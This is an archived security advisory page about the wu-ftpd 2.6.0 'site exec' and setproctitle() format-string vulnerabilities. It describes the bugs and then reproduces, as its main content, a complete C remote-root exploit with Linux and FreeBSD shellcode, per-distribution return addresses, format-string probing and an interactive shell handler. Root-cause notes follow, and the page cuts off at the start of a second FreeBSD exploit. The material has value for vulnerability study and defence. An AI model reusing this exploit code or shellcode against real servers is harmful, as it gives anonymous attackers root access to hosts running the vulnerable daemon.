TUCoPS :: Unix :: General :: unix4695.htm


TUCoPS :: Unix :: General :: unix4695.htm

wu-FTPd multiple vulnerabilities (Updated Oct/01)
1st Aug 2000 [SBWID-4695]
COMMAND
	 wuftpd
	
	
SYSTEMS AFFECTED
	 Wuftpd 6.0
	
	
PROBLEM
	 A vulnerability involving an input validation error in the \"site
	 exec\" command has recently been identified in the Washington
	 University ftpd (wu-ftpd) software package. Sites running
	 affected systems are advised to update their wu-ftpd software as
	 soon as possible. A similar but distinct vulnerability has also
	 been identified that involves a missing format string in several
	 setproctitle() calls. It affects a broader number of ftp daemons.
	 Please see Appendix A of this document for specific information
	 about the status of specific ftpd implementations and solutions.
	
	 \"Site exec\" Vulnerability
	 =========================
	 A vulnerability has been identified in wu-ftpd and other ftp
	 daemons based on the wu-ftpd source code. Wu-ftpd is a common
	 package used to provide file transfer protocol (ftp) services.
	 This vulnerability is being discussed as the wu-ftpd \"site exec\"
	 or \"lreply\" vulnerability in various public forums.
	
	 The wu-ftpd \"site exec\" vulnerability is the result of missing
	 character-formatting argument in several function calls that
	 implement the \"site exec\" command functionality. Normally if
	 \"site exec\" is enabled, a user logged into an ftp server
	 (including the \'ftp\' or \'anonymous\' user) may execute a
	 restricted subset of quoted commands on the server itself.
	 However, if a malicious user can pass character format strings
	 consisting of carefully constructed *printf() conversion
	 characters (%f, %p, %n, etc) while executing a \"site exec\"
	 command, the ftp daemon may be tricked into executing arbitrary
	 code as root.
	
	 The \"site exec\" vulnerability appears to have been in the wu-ftpd
	 code since the original wu-ftpd 2.0 came out in 1993. Any
	 vendors who have based their own ftpd distributions on this
	 vulnerable code are also likely to be vulnerable. The
	 vulnerability appears to be exploitable if a local user account
	 can be used for ftp login. Also, if the \"site exec\" command
	 functionality is enabled, then anonymous ftp login allows
	 sufficient access for an attack.
	
	 setproctitle() Vulnerability
	 ============================
	 A separate vulnerability involving a missing character-formatting
	 argument in setproctitle(), a call which sets the string used to
	 display process identifier information, is also present in
	 wu-ftpd. Other ftpd implementations have been found to have
	 vulnerable setproctitle() calls as well, including those from
	 proftpd and OpenBSD.
	
	 The setproctitle() vulnerability appears to have been present in
	 various ftpd implementations since at least BSD ftpd 5.51 (which
	 predates wuarchive-ftpd 1.0). It has also been confirmed to be
	 present in BSD ftpd 5.60 (the final BSD release). Any vendors who
	 have based their own ftpd distributions on this vulnerable code
	 are also likely to be vulnerable.
	
	 It should be noted that many operating systems do not support
	 setproctitle() calls. However, other software engineering defects
	 involving the same type of missing character-formatting argument
	 may be present.
	
	 tf8 posted following. It\'s another site exec problem that will
	 give altered permissions... BTW, exploit is broken to avoid kids
	 usage.
	
	 /*
	 * VERY PRIVATE VERSION. DO NOT DISTRIBUTE. 15-10-1999
	 *
	 * WUFTPD 2.6.0 REMOTE ROOT EXPLOIT
	 * by tf8
	 *
	 * *NOTE*: For ethical reasons, only an exploit for 2.6.0 will be
	 * released (2.6.0 is the most popular version nowadays), and it
	 * should suffice to proof this vulnerability concept.
	 *
	 * Site exec was never really *fixed*
	 *
	 * Greetz to portal (he is elite!#%$) and all #!security.is, glitch, DiGit,
	 * x90, venglin, xz, MYT and lamagra.
	 * Also greetings go to the WU-FTPD development team for including this
	 * bug in ALL their versions.
	 *
	 * Fuck to wuuru (he is an idiot)
	 *
	 * Account is not required, anonymous access is enough :)
	 *
	 * VERY PRIVATE VERSION. DO NOT DISTRIBUTE. 15-10-1999
	 */
	
	 #include <stdio.h>
	 #include <string.h>
	 #include <stdlib.h>
	 #include <sys/types.h>
	 #include <sys/socket.h>
	 #include <sys/time.h>
	 #include <netdb.h>
	 #include <unistd.h>
	 #include <netinet/in.h>
	 #include <arpa/inet.h>
	 #include <signal.h>
	 #include <errno.h>
	
	 #ifdef __linux
	 #include <getopt.h>
	 #endif
	
	 #define MAKE_STR_FROM_RET(x) ((x)&0xff),(((x)&0xff00)>>8),(((x)&0xff0000)>>16),(((x)&0xff000000)>>24)
	 #define GREEN \"33[32m\"
	 #define RED \"33[31m\"
	 #define NORM \"33[0m\"
	
	 char infin_loop[]= /* for testing purposes */
	 \"xEBxFE\";
	
	 char bsdcode[] = /* Lam3rZ chroot() code rewritten for FreeBSD by venglin */
	 \"x31xc0x50x50x50xb0x7excdx80x31xdbx31xc0x43\"
	 \"x43x53x4bx53x53xb0x5axcdx80xebx77x5ex31xc0\"
	 \"x8dx5ex01x88x46x04x66x68xffxffx01x53x53xb0\"
	 \"x88xcdx80x31xc0x8dx5ex01x53x53xb0x3dxcdx80\"
	 \"x31xc0x31xdbx8dx5ex08x89x43x02x31xc9xfexc9\"
	 \"x31xc0x8dx5ex08x53x53xb0x0cxcdx80xfexc9x75\"
	 \"xf1x31xc0x88x46x09x8dx5ex08x53x53xb0x3dxcd\"
	 \"x80xfex0exb0x30xfexc8x88x46x04x31xc0x88x46\"
	 \"x07x89x76x08x89x46x0cx89xf3x8dx4ex08x8dx56\"
	 \"x0cx52x51x53x53xb0x3bxcdx80x31xc0x31xdbx53\"
	 \"x53xb0x01xcdx80xe8x84xffxffxffxffxffxffx30\"
	 \"x62x69x6ex30x73x68x31x2ex2ex31x31x76x65x6e\"
	 \"x67x6cx69x6e\";
	
	 char bsd_code_d[]= /* you should call it directly (no jump/call)*/
	 \"xEBxFExEBx02xEBx05xE8xF9xFFxFFxFFx5C\"
	 \"x8Bx74x24xFCx31xC9xB1x15x01xCExB1x71xB0xEF\"
	 \"x30x06x8Dx76x01xE2xF9xDEx26xDEx2FxBEx5FxF8\"
	 \"xBFx22x6Fx5FxB5xEBxB4xBExBFx22x6Fx62xB9x14\"
	 \"x87x75xEDxEFxEFxBDx5Fx67xBFx22x6Fx62xB9x11\"
	 \"xBExBDx5FxEAxBFx22x6Fx66x2Cx62xB9x14xBDx5F\"
	 \"xD2xBFx22x6FxBCx5FxE2xBFx22x6Fx5Cx11x62xB9\"
	 \"x12x5FxE3xBDxBFx22x6Fx11x24x9Ax1Cx62xB9x11\"
	 \"xBDx5FxD2xBFx22x6Fx62x99x12x66xA1xEBx62xB9\"
	 \"x17x66xF9xB9xB9xBDx5FxD4xBFx22x6FxC0x8Dx86\"
	 \"x81xC0x9Cx87xEFxC1xC1xEF\";
	
	 char linuxcode[]= /* Lam3rZ chroot() code */
	 \"x31xc0x31xdbx31xc9xb0x46xcdx80x31xc0x31xdb\"
	 \"x43x89xd9x41xb0x3fxcdx80xebx6bx5ex31xc0x31\"
	 \"xc9x8dx5ex01x88x46x04x66xb9xffxffx01xb0x27\"
	 \"xcdx80x31xc0x8dx5ex01xb0x3dxcdx80x31xc0x31\"
	 \"xdbx8dx5ex08x89x43x02x31xc9xfexc9x31xc0x8d\"
	 \"x5ex08xb0x0cxcdx80xfexc9x75xf3x31xc0x88x46\"
	 \"x09x8dx5ex08xb0x3dxcdx80xfex0exb0x30xfexc8\"
	 \"x88x46x04x31xc0x88x46x07x89x76x08x89x46x0c\"
	 \"x89xf3x8dx4ex08x8dx56x0cxb0x0bxcdx80x31xc0\"
	 \"x31xdbxb0x01xcdx80xe8x90xffxffxffxffxffxff\"
	 \"x30x62x69x6ex30x73x68x31x2ex2ex31x31\";
	
	 #define MAX_FAILED 4
	 #define MAX_MAGIC 100
	 static int magic[MAX_MAGIC],magic_d[MAX_MAGIC];
	 static char *magic_str=NULL;
	 int before_len=0;
	 char *target=NULL,*username=\"ftp\",*password=NULL;
	 struct targets getit;
	
	 struct targets {
		 int def;
		 char *os_descr, *shellcode;
		 int delay;
		 u_long pass_addr, addr_ret_addr;
		 int magic[MAX_MAGIC], magic_d[MAX_MAGIC],islinux;
	 };
	
	 struct targets targ[]={
		 {0,\"RedHat 6.2 (?) with wuftpd 2.6.0(1) from rpm\",linuxcode,2,0x8075b00-700,0xbfffb028,{0x87,3,1,2},{1,2,1,4},1},
		 {1,\"RedHat 6.2 (Zoot) with wuftpd 2.6.0(1) from rpm\",linuxcode,2,0x8075b00-700,0xbfffb038,{0x87,3,1,2},{1,2,1,4},1},
		 {2,\"SuSe 6.3 with wuftpd 2.6.0(1) from rpm\",linuxcode,2,0x8076cb0-400,0xbfffb018,{0x87,3,1,2},{1,2,1,4},1},
		 {3,\"SuSe 6.4 with wuftpd 2.6.0(1) from rpm\",linuxcode,2,0x8076920-400,0xbfffafec,{0x88,3,1,2},{1,2,1,4},1},
		 {4,\"RedHat 6.2 (Zoot) with wuftpd 2.6.0(1) from rpm (test)\",linuxcode,2,0x8075b00-700,0xbfffb070,{0x87,3,1,2},{1,2,1,4},1},
	
		 {5,\"FreeBSD 3.4-STABLE with wuftpd 2.6.0(1) from ports\",bsdcode,10,0x80bb474-100, 0xbfbfc164,{0x3b,2,4,1,0x44,2,1,2},{1,2,1,2,1,2,1,4},0},
		 {6,\"FreeBSD 3.4-STABLE with wuftpd 2.6.0(1) from packages\",bsdcode,2,0x806d5b0-500,0xbfbfc6bc, {0x84,1,2,1,2}, {1,3,2,1,4},0},
		 {7,\"FreeBSD 3.4-RELEASE with wuftpd 2.6.0(1) from ports\",bsdcode,2,0x80a4dec-400,0xbfbfc624,{0x3B,2,1,0xe,0x40,1,2,1,2},{1,2,1,2,1,3,2,1,4},0},
		 {8,\"FreeBSD 4.0-RELEASE with wuftpd 2.6.0(1) from packages\",infin_loop,2,0x80706f0,0xbfbfe798,{0x88,2,1,2},{1,2,1,4},0},
		 {0,NULL,NULL,0,0,0,{0},{0},0}
	 };
	
	 void usage(char*zu,int q){
	 int i, n, padding;
	 fprintf(stderr,\"Usage: %s -t <target> [-l user/pass] [-s systype] [-o offset] [-g] [-h] [-x]n\"
	 \" [-m magic_str] [-r ret_addr] [-P padding] [-p pass_addr] [-M dir]n\"
	 \"target : host with any wuftpdnuser : anonymous usern\"
	 \"dir : if not anonymous user, you need to have writable directoryn\"
	 \"magic_str : magic string (see exploit description)n-g : enables magic string diggingn\"
	 \"-x : enables test modenpass_addr : pointer to setproctitle argumentn\"
	 \"ret_addr : this is pointer to shellcodensystypes: n\",zu);
	 for(i=0;targ[i].os_descr!=NULL;i++){
	 padding=0;
	 fprintf(stderr,\"%s%2d - %sn\",targ[i].def?\"*\":\" \",i,targ[i].os_descr);
	 if(q>1){
	 fprintf(stderr,\" Magic ID: [\");
	 for(n=0;targ[i].magic[n]!=0;n++){
	 if(targ[i].magic_d[n]==4)
	 padding=targ[i].magic[n];
	 fprintf(stderr,\"%02X,%02X\",targ[i].magic[n],targ[i].magic_d[n]);
	 if(targ[i].magic[n+1]!=0)
	 fprintf(stderr,\":\");
	 }
	 fprintf(stderr,\"] Padding: %dn\",padding);
	 fflush(stderr);
	 }
	 }
	 exit(1);
	 }
	
	 int connect_to_server(char*host){
	 struct hostent *hp;
	 struct sockaddr_in cl;
	 int sock;
	
	 if(host==NULL||*host==(char)0){
	 fprintf(stderr,\"Invalid hostnamen\");
	 exit(1);
	 }
	 if((cl.sin_addr.s_addr=inet_addr(host))==-1) {
	 if((hp=gethostbyname(host))==NULL) {
	 fprintf(stderr,\"Cannot resolve %sn\",host);
	 exit(1);
	 }
	 memcpy((char*)&cl.sin_addr,(char*)hp->h_addr,sizeof(cl.sin_addr));
	 }
	 if((sock=socket(PF_INET,SOCK_STREAM,IPPROTO_TCP))==-1){
	 fprintf(stderr,\"Error creating socket: %sn\",strerror(errno));
	 exit(1);
	 }
	 cl.sin_family=PF_INET;
	 cl.sin_port=htons(21);
	 if(connect(sock,(struct sockaddr*)&cl,sizeof(cl))==-1){
	 fprintf(stderr,\"Cannot connect to %s: %sn\",host,strerror(errno));
	 exit(1);
	 }
	 return sock;
	 }
	
	 int ftp_recv(int sock,char*buf,int buf_size,int disc){
	 int n=0;
	 char q;
	
	 if(disc) while((n=recv(sock,&q,1,0))==1&&q!=\'n\');
	 else {
	 (void)bzero(buf,buf_size);
	 n=recv(sock,buf,buf_size,0);
	 if(n<0){
	 fprintf(stderr,\"ftp_recv: recv failedn\");
	 exit(1);
	 }
	 buf[n]=0;
	 }
	 return n;
	 }
	 int ftp_send(int sock,char*what,int size,int f,char*ans,int ans_size){
	 int n;
	 n=send(sock,what,size,0);
	 if(n!=size){
	 fprintf(stderr,\"ftp_send: failed to send. expected %d, sent %dn\", size,n);
	 shutdown(sock,2);
	 close(sock);
	 exit(1);
	 }
	 if(f)
	 return ftp_recv(sock,ans,ans_size,0);
	 return 0;
	 }
	
	 int ftp_siteexec(int sock,char*buff,int buff_len,int q,char*ans,int ans_len){
	 ftp_send(sock,buff,buff_len,q,ans,ans_len);
	 if(strncmp(ans,\"200-\",4)==0)
	 ftp_recv(sock,NULL,0,1);
	 else
	 ftp_recv(sock,ans,ans_len,0);
	
	 if(strncmp(ans,\"200-\",4)){
	 fprintf(stderr,\"Cannot find site exec response stringn\");
	 exit(1);
	 }
	 return 0;
	 }
	
	 void ftp_login(int sock,char*u_name,char*u_pass)
	 {
	 char buff[2048];
	 printf(\"loggin into system..n\");
	 snprintf(buff,2047,\"USER %srn\", u_name);
	 ftp_send(sock, buff,strlen(buff),1,buff,2047);
	 printf(GREEN\"USER %sn\"NORM\"%s\",u_name,buff);
	 snprintf(buff,2047,\"PASS %srn\",u_pass);
	 printf(GREEN\"PASS %sn\"NORM,*u_pass==\'x90\'?\"<shellcode>\":u_pass);
	 ftp_send(sock,buff,strlen(buff),1,buff,2047);
	 while(strstr(buff,\"230 \")==NULL){
	 (void)bzero(buff,2048);
	 ftp_recv(sock,buff,2048,0);
	 }
	 printf(\"%s\",buff);
	 return;
	 }
	
	 void ftp_mkchdir(int sock,char*cd,char*new)
	 {
	 char buff[2048];
	
	 sprintf(buff,\"CWD %srn\",cd);
	 printf(GREEN\"%s\"NORM,buff);
	 ftp_send(sock,buff,strlen(buff),1,buff,2047);
	 printf(\"%s\",buff);
	 sprintf(buff,\"MKD %srn\",new);
	 ftp_send(sock,buff,strlen(buff),1,buff,2047);
	 printf(GREEN\"MKD <shellcode>\"NORM\"n%s\",buff);
	 sprintf(buff,\"CWD %srn\",new);
	 ftp_send(sock,buff,strlen(buff),1,buff,2047);
	 printf(GREEN\"CWD <shellcode>\"NORM\"n%s\",buff);
	 return;
	 }
	 void process_possibly_rooted(int sock)
	 {
	 fd_set 	fd_read;
	 char buff[1024], *cmd=getit.islinux?\"/bin/uname -a;/usr/bin/id;n\":\"/usr/bin/uname -a;/usr/bin/id;n\";
	 int n;
	
	 FD_ZERO(&fd_read);
	 FD_SET(sock, &fd_read);
	 FD_SET(0, &fd_read);
	 send(sock, cmd, strlen(cmd), 0);
	 while(1) {
	 FD_SET(sock,&fd_read);
	 FD_SET(0,&fd_read);
	 if(select(sock+1,&fd_read,NULL,NULL,NULL)<0) break;
	 if( FD_ISSET(sock, &fd_read) ) {
	 if((n=recv(sock,buff,sizeof(buff),0))<0){
	 fprintf(stderr, \"EOFn\");
	 exit(2);
	 }
	 if(write(1,buff,n)<0)break;
	 }
	 if ( FD_ISSET(0, &fd_read) ) {
	 if((n=read(0,buff,sizeof(buff)))<0){
	 fprintf(stderr,\"EOFn\");
	 exit(2);
	 }
	 if(send(sock,buff,n,0)<0) break;
	 }
	 usleep(10);
	 }
	 fprintf(stderr,\"Connection aborted, select failed()n\");
	 exit(0);
	 }
	
	 int magic_check_f(int sock, char *str) {
	 char q[2048], ans[2048];
	
	 snprintf(q, 2048, \"site exec %s%srn\", str, \"%.f\");
	 if( strstr( q, \"rn\") == NULL) {
	 fprintf(stderr,\"Line TOO big..n\");
	 exit(-1);
	 }
	 ftp_siteexec(sock, q, strlen(q), 1, ans, 2048);
	 if( before_len+10 < strlen(&ans[3]) ) return 0;
	 before_len=strlen(&ans[3]);
	 (void)strcat(str,\"%.f\");
	 return 1;
	 }
	 int magic_check_o(int sock, char *str) {
	 char q[2048], ans[2048];
	 snprintf(q, 2048, \"site exec %s%srn\", str, \"%c\");
	 if( strstr( q, \"rn\") == NULL) {
	 fprintf(stderr,\"Line TOO big..n\");
	 exit(-1);
	 }
	 ftp_siteexec( sock, q, strlen(q), 1, ans, 2048);
	 if( before_len== strlen(&ans[3]) ) {
	 before_len+=1;
	 (void)strcat(str, \"%d\");
	 return 3;
	 }
	 before_len=strlen(&ans[3]);
	 (void)strcat(str,\"%c\");
	 return 2;
	 }
	
	 int magic_check_ok( int sock, char *str)
	 {
	 char q[2048], ans[2048];
	 int i ,n=1, f, padding=0;
	
	 snprintf(q, 2048,\"site exec aaaaaaaa%s%srn\", str, \"%p%p\");
	 if ( strstr(q, \"rn\" ) == NULL) {
	 fprintf(stderr, \"Line too longn\");
	 exit(-1);
	 }
	 (void)bzero(ans, 2048);
	 ftp_siteexec(sock, q, strlen(q), 1, ans, 2047);
	 if(strstr(ans,\"0x61616161\")==NULL)
	 return 0;
	 for(i =0; i < MAX_MAGIC && magic[i]; i++);
	 magic_d[i]=4;
	 while(n){
	 for(f=0; f< 2; f++) {
	 snprintf(q, 2048,\"site exec %.*saaaa%s%srn\", padding, \"xxxx\", str, f?\"%p%p\":\"%p\");
	 (void)bzero(ans, 2048);
	 ftp_siteexec(sock, q, strlen(q), 1, ans, 2047);
	 if( strstr(ans, \"0x61616161\")!=NULL) {
	 if (f==0) {
	 magic[i]=padding;
	 return 1;
	 } else if( f==1) {
	 strcat(str,\"%p\");
	 magic[i]=padding;
	 return 1;
	 }
	 }
	 }
	 if(padding> 4) {
	 fprintf(stderr,\"Cannot calculate padding..n\");
	 exit(1);
	 }
	 padding++;
	 }
	 return 1;
	 }
	
	
	 int magic_digger(int sock)
	 {
	 int get_out=1,where=0,all_failed=MAX_FAILED*2,f=0,o=0;
	
	 if(magic_str==NULL){
	 if((magic_str=(char*)malloc(4092))==NULL){
	 perror(\"malloc\");
	 exit(errno);
	 }
	 }
	 (void)bzero(magic_str, 4092);
	 where=0;
	 while(get_out) {
	 int q;
	 if( where>= MAX_MAGIC-1 || all_failed <= 0 )
	 return -1;
	 if( magic_check_f(sock, magic_str) ) {
	 o=0,f++;
	 if(f==1){
	 if(!magic[where])
	 magic[where]=1;
	 else
	 magic[++where]+=1;
	 magic_d[where]=1;
	 } else
	 magic[where]+=1;
	 all_failed=MAX_FAILED*2;
	 printf(\"%s\", \"%.f\"); fflush(stdout);
	 goto verify;
	 }
	 all_failed--;
	 if((q=magic_check_o(sock,magic_str))){
	 f=0,o++;
	 if(o==1){
	 if(!magic[where])
	 magic[0]=1;
	 else
	 magic[++where]+=1;
	 magic_d[where]=q;
	 } else {
	 if(magic_d[where]==q)
	 magic[where]+=1;
	 else {
	 magic[++where]=1;
	 magic_d[where]=q;
	 }
	 }
	 all_failed=MAX_FAILED*2;
	 printf(\"%s\", q==2?\"%c\":\"%d\");
	 fflush(stdout);
	 goto verify;
	 }
	 all_failed--;
	 continue;
	 verify:
	 if(magic_check_ok(sock,magic_str)){
	 putchar(\'n\');
	 return 0;
	 }
	 }
	 return 0;
	 }
	
	 int main(int argc, char *argv[]){
		 char *buff, *buff_p, *buff_p2, c, shellcode[500],*dir,*passwd=shellcode;
		 int i, sock, num=-2, padding=-1, gm=0, testmode=0,mtype=0,bla=0,offset=0;
		 u_long ret_addr=0, pass_addr=0;
		 for(i=0;targ[i].os_descr!=NULL;i++);
		 while((c=getopt(argc,argv,\"t:l:m:o:s:r:p:M:P:xghH?\"))!=EOF){
		 switch(c) {
		 case \'t\': target=optarg;break;
		 case \'l\':
		 username=optarg;
		 passwd=strchr(optarg,\'/\');
		 if(passwd==NULL)
		 usage(argv[0],0);
		 *passwd++=(char)0;
		 break;
		 case \'x\': testmode=1; break;
		 case \'o\': offset=atoi(optarg);break;
		 case \'p\': pass_addr=strtoul(optarg, &optarg,16); break;
		 case \'g\': gm=1; break;
		 case \'M\': dir=optarg;mtype=1;break;
		 case \'m\':
		 {
		 int where=0;
		 if(!*optarg) {
		 fprintf(stderr,\"-m requires argument, try -h for helpn\");
		 exit(1);
		 }
		 while(1) {
		 magic[where]=strtoul(optarg,&optarg,16);
		 optarg=strchr(optarg,\',\');
		 if(optarg==NULL){
		 printf(\"comma missingn\");
			 exit(1);
		 }
		 optarg++;
		 magic_d[where++]=strtoul(optarg,&optarg,16);
		 if(strchr(optarg,\':\')==NULL){
		 magic[where]=magic_d[where]=0;
		 break;
		 }
		 optarg=strchr(optarg,\':\');
		 optarg++;
		 }
		 }
		 break;
		 case \'s\':
		 num=atoi(optarg);
		 if(num>i) {
		 fprintf(stderr,\"systype too big, try -h for helpn\");
		 exit(1);
		 }
		 break;
		 case \'r\':
		 ret_addr=strtoul(optarg,&optarg,16);
		 break;
		 case \'P\':
		 padding=atoi(optarg);
		 break;
		 case \'H\':
		 bla=2;
		 default: usage(argv[0],bla);break;
		 }
	 }
		 if(target==NULL){
		 fprintf(stderr,\"No target specified, try -h for helpn\");
		 exit(1);
		 }
		 if(num==-1||num==-2) {
		 for(i=0;!targ[i].def;i++);
		 num=i;
		 }
		 (void)memcpy((void*)&getit,(void*)&targ[num],sizeof(struct targets));
	
		 if(magic[1]!=0) {
		 memcpy((void*)getit.magic,magic,sizeof(magic));
		 memcpy((void*)getit.magic_d,magic_d,sizeof(magic));
		 }
	
		 if(ret_addr)getit.addr_ret_addr=ret_addr;
		 if(pass_addr)getit.pass_addr=pass_addr;
	
		 getit.addr_ret_addr+=(offset*4);
	
	 	 sock=connect_to_server(target);
		 memset(shellcode, \'x90\', sizeof(shellcode));
		 shellcode[sizeof(shellcode)-1]=(char)0;
		 if(!mtype){
		 memcpy((void*)&shellcode[sizeof(shellcode)-strlen(getit.shellcode)-1],(void*)getit.shellcode, strlen(getit.shellcode)+1);
		 shellcode[sizeof(shellcode)-1]=(char)0;
		 }else{
		 memcpy((void*)&shellcode[250-strlen(getit.shellcode)-1],(void*)getit.shellcode,strlen(getit.shellcode));
		 shellcode[250-1]=(char)0;
		 }
		 printf(\"Target: %s (%s/%s): %sn\",target,username,*passwd==\'x90\'?\"<shellcode>\":passwd,getit.os_descr);
		 printf(\"Return Address: 0x%08lx, AddrRetAddr: 0x%08lx, Shellcode: %dnn\",getit.pass_addr,getit.addr_ret_addr,strlen(getit.shellcode));
	
		 buff=(char *)malloc(1024);
		 bzero(buff,1024);
	
		 (void)ftp_recv(sock,NULL,0,1);
	
		 (void)ftp_login(sock,username,passwd);
	
		 if(gm||(magic_str==NULL&&getit.magic[0]==0)){
		 printf(\"STEP 2A: Generating magic string: \");
		 fflush(stdout);
		 magic_digger(sock);
		 memcpy((void *)getit.magic,(void*)magic,sizeof(magic));
		 memcpy((void*)getit.magic_d,(void*)magic_d,sizeof(magic_d));
		 printf(\"STEP 2B: MAGIC STRING: [\");
		 } else {
		 printf(\"STEP 2 : Skipping, magic number already exists: [\");
		 }
		 for(i=0;i<MAX_MAGIC&&getit.magic[i]!=0;i++){
		 printf(\"%02X,%02X\",getit.magic[i],getit.magic_d[i]);
		 if(getit.magic[i+1]!=0)
		 putchar(\':\');
		 }
		 printf(\"]n\");
		 buff=(char *)realloc(buff, 4092);
		 (void)bzero(buff, 4092);
	 if(mtype)
	 ftp_mkchdir(sock,dir,shellcode);
		 printf(\"STEP 3 : Checking if we can reach our return address by format stringn\");
		 if(!magic_str){
		 magic_str=(char*)malloc(2048);
		 if(magic_str==NULL) {
		 perror(\"malloc\");
		 exit(errno);
		 }
		 (void)bzero(magic_str,2048);
		 for(i=0;i<MAX_MAGIC&&getit.magic[i]!=0;i++){
		 switch(getit.magic_d[i]) {
		 case 1:
		 for(num=0;num<getit.magic[i];num++)strcat(magic_str,\"%.f\");
		 break;
		 case 2:
		 for(num=0;num<getit.magic[i];num++)strcat(magic_str,\"%c\");
		 break;
		 case 3:
		 for(num=0;num<getit.magic[i];num++)strcat(magic_str,\"%d\");
		 break;
		 case 4:if(padding<0)padding=getit.magic[i];break;
		 default:fprintf(stderr,\"STEP 3: INternal errorn\");
		 exit(1);
		 break;
	 	 }
		 }
		 }
		 if(padding<0){
		 for(num=0;num<MAX_MAGIC&&getit.magic_d[num]!=4;num++);
		 if(num<(MAX_MAGIC-1))
		 padding=getit.magic[num];
		 else
		 fprintf(stderr,\"WARNING: PROBLEMS WITH PADDINGn\");
		 }
	
		 if(!getit.islinux){
	 	 if(!testmode)
		 snprintf(buff,4096,\"site exec %.*s%c%c%c%c%s|%srn\",padding,\"xxxxxxxxxxxxxxxxxxx\",MAKE_STR_FROM_RET(getit.addr_ret_addr),magic_str,\"%p\");
		 else
		 snprintf(buff,4096,\"site exec %.*s%c%c%c%c%s|%srn\",padding,\"xxxxxxxxxxxxxxxxxxx\",MAKE_STR_FROM_RET(getit.pass_addr),magic_str,\"%p\");
		 } else {
	 	 if(!testmode)
		 snprintf(buff,4096,\"site exec %.*s%c%cxff%c%c%s|%srn\",padding,\"xxxxxxxxxxxxxxxxxxx\",MAKE_STR_FROM_RET(getit.addr_ret_addr),magic_str,\"%p\");
		 else
		 snprintf(buff,4096,\"site exec %.*s%c%cxff%c%c%s|%srn\",padding,\"xxxxxxxxxxxxxxxxxxx\",MAKE_STR_FROM_RET(getit.pass_addr),magic_str,\"%p\");
		 }
		 sleep(getit.delay);
		 fflush(stdout);
		 if((buff_p=(char *)malloc(4096))==NULL){
		 fprintf(stderr,\"malloc failed.n\");
		 exit(1);
		 }
		 (void)bzero(buff_p,4096);
		 ftp_siteexec(sock,buff,strlen(buff),1,buff_p,4095);
		 if((buff_p2=strchr(buff_p,\'r\'))!=NULL)
		 *buff_p2=(char)0;
		 if((buff_p2=strchr(buff_p,\'n\'))!=NULL)
		 *buff_p2=(char)0;
		 buff_p2=strstr(buff_p,\"|0x\");
		 if(buff_p2==NULL){
		 fprintf(stderr,\"Fix me, incorrect response from \'%%p\':%sn\",buff_p);
		 exit(1);
		 }
		 buff_p2+=3;
		 if(!testmode)
		 printf(\"STEP 4 : Ptr address test: 0x%s (if it is not 0x%08lx ^C me now)n\",buff_p2,getit.addr_ret_addr);
		 else
		 printf(\"STEP 4 : Ptr address test: 0x%s (if it is not 0x%08lx ^C me now)n\",buff_p2,getit.pass_addr);
		 sleep(getit.delay);
		 buff_p2=strstr(buff, \"%.f\");
		 *buff_p2++=(char )0;
		 strcpy(buff_p, buff);
		 if(!testmode)
		 sprintf(buff_p+strlen(buff_p),\"%s%u%c\",\"%d%.\",(u_int)getit.pass_addr,\'d\');
		 else
		 sprintf(buff_p+strlen(buff_p),\"%s\",\"%d%d\");
		 strcpy(buff_p+strlen(buff_p), buff_p2);
		 buff_p2=strchr(buff_p,\'|\');
		 buff_p2++;
		 printf(\"STEP 5 : Sending code.. this will take about 10 seconds.n\");
		 if(!testmode){
		 strcpy(buff_p2,\"%nrn\");
		 ftp_send(sock,buff_p,strlen(buff_p),0,NULL,0);
		 } else {
		 (void)bzero(buff,4096);
		 strcpy(buff_p2,\"%srn\");
		 ftp_send(sock,buff_p,strlen(buff_p),1,buff,4092);
		 printf(\"got answer: %sn\",buff);
		 exit(0);
		 }
		 free(buff_p);
		 free(buff);
		 signal(SIGINT, SIG_IGN);
		 signal(SIGHUP, SIG_IGN);
		 printf(RED\"Press ^\\ to leave shell\"NORM\"n\");
		 process_possibly_rooted(sock);
		 return 0;
	 }
	
	 Lamagra Argamal added brought to you the story behind it. The
	 story begins inside the ftpcmd.y file. Which has the ftp commands
	 in it. The bug is in the site_exec(char *cmd) function. There
	 is calls lreply(200,cmd); In ftpd.c we find
	
	 void lreply(int n, char *fmt,...)
	 ....
	 vreply(USE_REPLY_LONG, n, fmt, ap)
	 ...
	
	 and
	
	 void vreply(long flags, int n, char *fmt, va_list ap)
	 ...
	 vsnprintf(buf + (n ? 4 : 0), n ? sizeof(buf) - 4 : sizeof(buf), fmt, ap)
	 ....
	
	 cmd becomes fmt with vsnprintf that\'s bad. The idea is to put in
	 formatstrings to get some extra priviledges. We can use %n to
	 overwrite some stuff. eg. overwrite a ret-address or a null at
	 the end of a buffer (cause an overflow) or change the
	 configuration or uid like I did in my proftp exploit (check
	 proftp_pcc.c on Packetstorm).
	
	 There are some other bugs in site_exec like
	
	 for (t = cmd; *t && !isspace(*t); t++) {
	 if (isupper(*t)) {
	 *t = tolower(*t);
	 }
	 }
	
	 Sanitizing stops at a space?? Wuftpd is all really buggy code.
	 Lamagra did some checking and found some minor bugs there too.
	 First in modules/mod_pam.c
	
	 /* Allocate our entries...we don\'t free this because PAM does this for us.
	 */
	 pam_user = malloc(strlen(cmd->argv[0]) + 1);
	 if(pam_user == (char *)0)
	 return pam_return_type ? ERROR(cmd) : DECLINED(cmd);
	 sstrncpy(pam_user, cmd->argv[0], strlen(cmd->argv[0]) + 1);
	
	 pam_pass = malloc(strlen(cmd->argv[1]) + 1);
	
	 Pam doesn\'t free these according to me. So this could lead to a
	 pottential system DoS if abused. Fortunatly proftpd has a limit
	 of 3 on USER/PASS.
	
	 Second, in the set_proc_title(char *fmt,...) function in main.c
	 It constructs a buffer with hostname + user + cmd to replace
	 argv[0]. If setproctitle(char *fmt,...) is available (only on
	 debian and bsd). It calls setproctitle(statsbuf); what re-opens
	 the old bug Not a big thing since almost nobody has it.
	
	 According to Eric Hines it has come to his discovery that some
	 systems at MIT are for example vulnerable to the vulnerability,
	 and some aren\'t.. (All) with the same default RH 6.2
	 installations. The problem occurs when you attempt to execute
	 the exploit on a remote machine and are left with a telnet
	 session to PORT 21 of the vulnerable system, stuck to your
	 typical HELP commands. This is because the exploit is attempting
	 to utilize the WRONG [stack retr addr] of the vulnerable ftp
	 daemon. The reason being it is not overflowing the stack,
	 leaving you with this telnet session.
	
	 Below is another exploit for FreeBSD only:
	
	 /*
	 * WU-hooooooooo ! ;)
	 * remote root exploit for FreeBSD Wu-ftpd 2.6.0 !
	 * Written by glitch of AdG.
	 * Shellcode by Myt of AdG
	 * This is mega private !
	 * for Action Direct Group members only !
	 * Don\'t distribute !
	 *
